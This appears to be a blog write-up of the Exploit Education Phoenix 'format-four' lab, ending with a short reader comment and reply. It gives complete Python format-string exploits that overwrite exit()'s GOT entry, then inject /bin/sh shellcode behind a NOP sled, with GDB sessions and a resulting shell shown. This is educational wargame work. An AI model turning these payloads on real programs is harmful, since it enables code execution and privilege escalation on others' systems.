The description and source code can be found here:
http://exploit.education/phoenix/format-four/
This level is very similar to the previous one, except now we’re trying to redirect the flow of execution. We need to get the program to call the congratulations() function. After that, I’ll try to get arbitrary code execution.
void bounce(char *str) { printf(str); exit(0); } void congratulations() { printf("Well done, you're redirected code execution!\n"); exit(0); } int main(int argc, char **argv) { char buf[4096]; printf("%s\n", BANNER); if (read(0, buf, sizeof(buf) - 1) <= 0) { exit(EXIT_FAILURE); } bounce(buf); }
Again, because of null bytes required for the addresses, I won’t be able to do this level in the amd64 architecture. Since I know I can write to almost any memory address with almost any value, the first thing I would normally try is to overwrite the saved instruction pointer for the bounce() function. Notice, however, that the function calls exit(0); at the end. This prevents the program from popping that saved instruction pointer back into the EIP register. However, what we can do is overwrite the address of the exit() function in the Global Offset Table (GOT). The GOT is what stores the addresses of any variables or functions in shared libraries to be used during runtime. The Procedure Linkage Table (PLT) section of the binary contains the trampoline code for an executable to jump to a shared library function. Feel free to let me know if I’m not 100% accurate in those descriptions. I’m still learning, myself. Now, the nice thing about the GOT, is that these addresses never change, even on a system with ASLR enabled (which is all modern day systems, excluding most embedded devices). I won’t go into more detail as there’s plenty of articles that can explain it much better than I.
Let’s take a look at the binary’s relocation symbols:
$ readelf --relocs /opt/phoenix/i486/format-four Relocation section '.rel.plt' at offset 0x2b0 contains 5 entries: Offset Info Type Sym.Value Sym. Name 080497d8 00000107 R_386_JUMP_SLOT 00000000 printf 080497dc 00000207 R_386_JUMP_SLOT 00000000 puts 080497e0 00000407 R_386_JUMP_SLOT 00000000 read 080497e4 00000907 R_386_JUMP_SLOT 00000000 exit 080497e8 00000a07 R_386_JUMP_SLOT 00000000 __libc_start_main
This shows that the address for the exit() function will be at 0x080497e4. We can also verify this by looking at the disassembly:
$ objdump -Mintel -d /opt/phoenix/i486/format-four ... 08048330 <exit@plt>: 8048330: ff 25 e4 97 04 08 jmp DWORD PTR ds:0x80497e4 8048336: 68 18 00 00 00 push 0x18 804833b: e9 b0 ff ff ff jmp 80482f0 <.plt> ...
We’ll need to overwrite the address at 0x080497e4 with the address of the congratulations() function. Speaking of which, let’s get that address right now:
$ objdump -d /opt/phoenix/i486/format-four | grep congratulations 08048503 <congratulations>:
So now we know that we need to write the vale 0x08048503 at the address 0x080497e4. Then, once the exit() function is called, the congratulations() function will be called instead. I’ll start by trying to write anything to that address and check the results in GDB:
buf = "" buf += "\xe4\x97\x04\x08" buf += "%x" * 11 buf += "%n" print buf
user@phoenix-amd64:/opt/phoenix/i486$ gdb -q format-four GEF for linux ready, type `gef' to start, `gef config' to configure 71 commands loaded for GDB 8.2.1 using Python engine 3.5 [*] 2 commands could not be loaded, run `gef missing` to know why. Reading symbols from format-four...(no debugging symbols found)...done. gef> run < <(python ~/payload.py) Starting program: /opt/phoenix/i486/format-four < <(python ~/payload1.py) Welcome to phoenix/format-four, brought to you by https://exploit.education �000f7f81cf7f7ffb000ffffd718804857dffffc710ffffc710fff0 Program received signal SIGSEGV, Segmentation fault. 0x0000003a in ?? () [... GEF output snipped ...] gef> x $eip 0x3a: Cannot access memory at address 0x3a gef> x 0x80497e4 0x80497e4 <exit@got.plt>: 0x0000003a
As you can see, this successfully redirects the flow of execution. The %n format type wrote 0x3a (58 bytes) to the address 0x80497e4. Now I just need to use the same technique as seen in format-three to put a specific value at that address. For now, I’m going to put the address of the congratulations() function (0x08048503) in there.
Here’s the final script:
# congratulations() @ 0x08048503 buf = "" buf += "\xe4\x97\x04\x08" buf += "\xe5\x97\x04\x08" buf += "\xe6\x97\x04\x08" buf += "%194x" buf += "%x" * 10 buf += "%n" buf += " " * 130 buf += "%n" buf += " " * 1663 buf += "%n" print buf
$ /opt/phoenix/i486/format-four < <(python ~/payload.py) Welcome to phoenix/format-four, brought to you by https://exploit.education ��� 000f7f81cf7f7ffb000ffffd748804857dffffc740ffffc740fff0 Well done, you're redirected code execution! Well done, you're redirected code execution! Well done, you're redirected code execution! ...
Success! Since the address of the exit() function is overwritten in the GOT with the address of the congratulations() function and the congratulations() function calls exit(), this becomes an infinite loop of outputting the string, “Well done, you’re redirected code execution!”
Now let’s see if we can execute our own shellcode. First, I want to find out where, in memory, the format string is being saved to since that’s where my shellcode will be.
user@phoenix-amd64:/opt/phoenix/i486$ gdb -q format-four GEF for linux ready, type `gef' to start, `gef config' to configure 71 commands loaded for GDB 8.2.1 using Python engine 3.5 [*] 2 commands could not be loaded, run `gef missing` to know why. Reading symbols from format-four...(no debugging symbols found)...done. gef> disas bounce Dump of assembler code for function bounce: 0x080484e5 <+0>: push ebp 0x080484e6 <+1>: mov ebp,esp 0x080484e8 <+3>: sub esp,0x8 0x080484eb <+6>: sub esp,0xc 0x080484ee <+9>: push DWORD PTR [ebp+0x8] 0x080484f1 <+12>: call 0x8048300 <printf@plt> 0x080484f6 <+17>: add esp,0x10 0x080484f9 <+20>: sub esp,0xc 0x080484fc <+23>: push 0x0 0x080484fe <+25>: call 0x8048330 <exit@plt> End of assembler dump. gef> b *bounce+17 Breakpoint 1 at 0x80484f6 gef> run < <(echo ABAC) Starting program: /opt/phoenix/i486/format-four < <(echo ABAC) Welcome to phoenix/format-four, brought to you by https://exploit.education ABAC Breakpoint 1, 0x080484f6 in bounce () [... GEF output snipped ...] gef> search-pattern ABAC [+] Searching 'ABAC' in memory [+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx 0xffffc710 - 0xffffc714 → "ABAC"
I used a simple string (ABAC) as input that I figured wouldn’t be found elsewhere in memory. Then I searched for it using the GEF command “search-pattern.” This shows that the format string begins at address 0xffffc710. I’d also like to mention that I keep a ~/.gdbinit file that keeps GDB’s environment variables consistent with the program’s environment variables as if it were being run directly:
unset env LINES unset env COLUMNS set env _ ./format-four
Without that, the address of the format string would differ between running the program in GDB and being run directly (in fact, I’ll find out later that the addresses probably still differ slightly as I needed to use a nop-sled before my shellcode to get it to work).
The format string will begin with the 4 addresses (4 sequential bytes) for the GOT entry that stores the address for the exit() function. I took the Python script I wrote earlier and expanded upon it to add shellcode within the buffer after the 4 addresses (as well as a few other things to make it easier to write an address to memory & not have to do any calculations by hand). Here’s the final product and how it looks during execution:
import struct # Address for exit() in GOT @ 0x080497e4 ADDR = 0x080497e4 addresses = struct.pack("I", ADDR) addresses += struct.pack("I", ADDR+1) addresses += struct.pack("I", ADDR+2) addresses += struct.pack("I", ADDR+3) # http://shell-storm.org/shellcode/files/shellcode-841.php (21 bytes) shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f" shellcode += "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" # The format string begins @ 0xffffc710 # NOP-sled = 0xffffc720-0xffffc760 byte1 = 0x140 byte2 = 0x1c7 byte3 = 0x1ff byte4 = 0x2ff buf = "" buf += addresses buf += "\x90" * 64 buf += shellcode buf += "%x" * 11 # Outputs 54 bytes buf += " " * (byte1 - 54 - len(shellcode) - 64 - len(addresses)) buf += "%n" buf += " " * (byte2 - byte1) buf += "%n" buf += " " * (byte3 - byte2) buf += "%n" buf += " " * (byte4 - byte3) buf += "%n" print buf
user@phoenix-amd64:/opt/phoenix/i486$ ./format-four < <(python ~/format-four.py; cat) Welcome to phoenix/format-four, brought to you by https://exploit.education ��������������������������������������������������������������������1���♂Qh//shh/bin��̀000f7f81cf7f7ffb000ffffd738804857dffffc730ffffc730fff0 id uid=1000(user) gid=1000(user) euid=511(phoenix-i386-format-four) egid=511(phoenix-i386-format-four) groups=511(phoenix-i386-format-four),27(sudo),1000(user)
You might notice that I used “cat” to keep stdin open after the exploit ran. Another option is to find shellcode that doesn’t require that, like this one: http://shell-storm.org/shellcode/files/shellcode-219.php. Overall, the script is not much different than before. There were 2 big roadblocks that I came across while trying to get this to work. The first was finding shellcode that would work and the second was the nop-sled. I wasn’t using any NOPs at first but eventually realized that they’d be required since addresses in GDB don’t exactly line up with binaries being run directly.
how do you calculate the difference in %x or %n to get correct values , please help me to understand this
Did you read my articles on the Format Zero to Format Three levels? Your answer should be in there. If you’re still not sure, let me know and I’ll try to explain it better.